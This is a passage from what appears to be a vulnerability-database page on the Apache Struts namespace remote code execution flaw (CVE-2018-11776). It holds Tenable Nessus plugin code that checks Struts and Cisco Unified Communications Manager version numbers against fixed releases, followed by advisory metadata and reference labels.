      script_require_ports("installed_sw/Apache Struts","installed_sw/Struts");
    
      exit(0);
    }
    
    include("vcf.inc");
    
    if (report_paranoia < 2) audit(AUDIT_PARANOID);
    
    
    app_info = vcf::combined_get_app_info(app:"Apache Struts");
    
    vcf::check_granularity(app_info:app_info, sig_segments:3);
    
    constraints = [
      { "min_version" : "2.3", "max_version" : "2.3.34", "fixed_version" : "2.3.35" },
      { "min_version" : "2.5", "max_version" : "2.5.16", "fixed_version" : "2.5.17" }
    ];
    
    vcf::check_version_and_report(app_info:app_info, constraints:constraints, severity:SECURITY_HOLE);
    
  • NASL familyCISCO
    NASL idCISCO-SA-20180823-APACHE-STRUTS-UCM.NASL
    descriptionAccording to its self-reported version, the Cisco Unified Communications Manager (CUCM) running on the remote device is affected by a remote code execution vulnerability. Please see the included Cisco BID and the Cisco Security Advisory for more information.
    last seen2020-06-01
    modified2020-06-02
    plugin id112289
    published2018-09-05
    reporterThis script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/112289
    titleCisco Unified Communication Manager Apache Struts RCE (CSCvm14042)
    code
    #TRUSTED 52356421ff6fbfad961f70ee7cab9fee9c6b5d222084c08f6cc7e3cba35e7093bfb7089cb0ecf0c87f6e66eff5cf318ede61fd517e9071bec49cf16f3f6546d951ad4b1927d54e3e330e49edad22a34537f5500c73380f0506c10f400532aec9138df74e4377dfcf0d97c58f63214758ea229d646e2fbd25c63426ac73a55cfe6185d98b16acf55f92846a293e55d7a3b08437630ce0708c382f29f885ffafc06ff361334b093148467188003f70bab002eaf0393b526e174a879411ec279584534661827d6458b9a94ee1125f1d49a21971a19a608459e5b41e2099c5cf6674c8f0bd19d0a6dd748b4a666882ee5d7225298269c4e7151feef244c8179b89e56679bcf7cf56e83f72ce388d6c455713500f17b2e4d0001399bf8214dfa01ab79cf042d47016b9e07e8be4b9eb482266ac9fb9a66b880ef91f9b3db010b3328f107a814a9639268717e646280b0cd3ab20977c440eb96f2f352a03182747e9bb92b7e86e3c696a5e2ab633be2d2a471df87be02bf08db1304b065b4ed7bf95d9d6befa07917612f896a619d11657c62dddb4baf88aeee272acd7ff263720a87422f4d8668876f5d4d1797696225f99128cba83e9a52e406ed2d9712639a60fc0d1b76da6c6aa71b7b106166a9de5c8a94942f9c3d88774ebaffd840a8ae7c0821048d25d14b744107103f735f32e92e798416d5300052186510e6ac2d0d72030
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(112289);
      script_version("1.10");
      script_cvs_date("Date: 2019/12/20");
    
      script_cve_id("CVE-2018-11776");
      script_bugtraq_id(105125);
      script_xref(name:"CISCO-BUG-ID", value:"CSCvm14042");
      script_xref(name:"CISCO-SA", value:"cisco-sa-20180823-apache-struts");
    
      script_name(english:"Cisco Unified Communication Manager Apache Struts RCE (CSCvm14042)");
      script_summary(english:"Checks the version of Cisco Unified Communications Manager (CUCM).");
    
      script_set_attribute(attribute:"synopsis", value:
    "The remote device is affected by an information disclosure
    vulnerability.");
      script_set_attribute(attribute:"description", value:
    "According to its self-reported version, the Cisco Unified
    Communications Manager (CUCM) running on the remote device is affected
    by a remote code execution vulnerability. Please see the included
    Cisco BID and the Cisco Security Advisory for more information.");
      # https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180823-apache-struts
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?56a0e547");
      script_set_attribute(attribute:"see_also", value:"https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvm14042");
      script_set_attribute(attribute:"solution", value:
    "Upgrade to the relevant fixed version referenced in Cisco bug ID
    CSCvm14042.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H");
      script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
      script_set_attribute(attribute:"cvss_score_source", value:"CVE-2018-11776");
    
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"d2_elliot_name", value:"Apache Struts 2 Multiple Tags Result Namespace Handling RCE");
      script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
      script_set_attribute(attribute:"metasploit_name", value:'Apache Struts 2 Namespace Redirect OGNL Injection');
      script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2018/08/23");
      script_set_attribute(attribute:"patch_publication_date", value:"2018/08/23");
      script_set_attribute(attribute:"plugin_publication_date", value:"2018/09/05");
    
      script_set_attribute(attribute:"plugin_type", value:"combined");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:cisco:unified_communications_manager");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_family(english:"CISCO");
    
      script_copyright(english:"This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("cisco_ucm_detect.nbin");
      script_require_keys("Host/Cisco/CUCM/Version", "Host/Cisco/CUCM/Version_Display");
    
      exit(0);
    }
    
    include("audit.inc");
    include("cisco_workarounds.inc");
    include("ccf.inc");
    
    product_info = cisco::get_product_info(name:"Cisco Unified Communications Manager");
    
    version_list = make_list(
      '11.0.1.10000.10',
      '11.5.1.10000.6',
      '12.0.1.10000.10',
      '12.5.0.98000.981');
    
    workarounds = make_list(CISCO_WORKAROUNDS['no_workaround']);
    workaround_params = make_list();
    
    reporting = make_array(
      'port'     , 0,
      'severity' , SECURITY_HOLE,
      'version'  , product_info['display_version'],
      'bug_id'   , "CSCvm14042");
    
    cisco::check_and_report(product_info:product_info, workarounds:workarounds, workaround_params:workaround_params, reporting:reporting, vuln_versions:version_list);
    

Packetstorm

Saint

bid105125
descriptionApache Struts undefined namespace vulnerability
idweb_dev_strutsnamespacerce
titlestruts_namespace
typeremote

The Hacker News

References